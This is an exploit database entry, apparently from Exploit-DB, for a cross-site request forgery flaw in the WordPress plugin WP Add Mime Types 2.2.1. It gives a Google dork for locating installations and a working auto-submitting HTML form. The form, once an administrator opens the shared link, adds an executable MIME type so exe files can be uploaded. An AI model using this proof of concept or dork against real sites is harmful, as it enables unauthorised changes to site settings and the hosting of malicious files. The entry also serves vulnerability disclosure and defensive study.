CSRF vulnerabilities in WP Add Mime Types Plugin

vendor:

WP Add Mime Types Plugin

by:

Princy Edward

7.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: WP Add Mime Types Plugin

Affected Version From: 2.2.1

Affected Version To: 2.2.1

Patch Exists: YES

Related CWE: Fresh

CPE: a:wordpress:wp_add_mime_types

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Apache/2.2.24 (CentOS)

2019

CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1

WordPress plugin WP Add Mime Types plugin 2.2.1 is vulnerable to CWE-352. A malicious link can be shared to the plugin user which, once clicked, will automatically update the mime type. A POC is shared to allow exe files (application/x-msdownload) to be uploaded.

Mitigation:

The plugin should be updated to the latest version to fix the vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1
# Google Dork: inurl:”/wp-content/plugins/wp-add-mime-types”
# Date: 18 july, 2019
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://wordpress.org/plugins/wp-add-mime-types/
# Software Link: https://downloads.wordpress.org/plugin/wp-add-mime-types.2.2.1.zip
# Version: 2.2.1
# Tested on: Apache/2.2.24 (CentOS)
# CVE : Fresh

#About Plugin
The plugin additionally allows the mime types and file extensions to WordPress. In other words, your WordPress site can upload various file extensions.
#Vulnerable Description
WordPress plugin WP Add Mime Types plugin 2.2.1 vulnerable to CWE-352.
## CSRF Code
Share this malicious link to the plugin user. Once he clicks the link, the mime type will automatically get updated. Here I shared a POC to allow exe files(application/x-msdownload) to be uploaded.
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://IP/wp-admin/options-general.php?page=wp-add-mime-types%2Fincludes%2Fadmin.php">
<input type="hidden" name="mime_type_values" value="exe    =    application/x-msdownload">
<input type="submit">
</form>
</body>
</html>